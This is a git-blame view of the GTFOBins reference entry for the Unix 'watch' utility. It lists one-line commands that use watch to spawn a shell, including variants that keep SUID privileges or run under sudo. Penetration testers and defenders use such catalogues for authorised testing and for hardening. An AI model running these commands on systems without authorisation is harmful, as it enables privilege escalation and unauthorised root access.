GTFOBins.github.io/_gtfobins/watch.md

13 lines
368 B
Markdown
Raw Normal View History

2018-05-27 19:17:14 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- description: This keeps the SUID privileges only if the `-x` option is present.
code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
2018-10-05 19:55:38 +02:00
sudo:
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
2018-10-05 19:55:38 +02:00
limited-suid:
- code: ./watch 'reset; exec sh 1>&0 2>&0'
2018-05-27 19:17:14 +02:00
---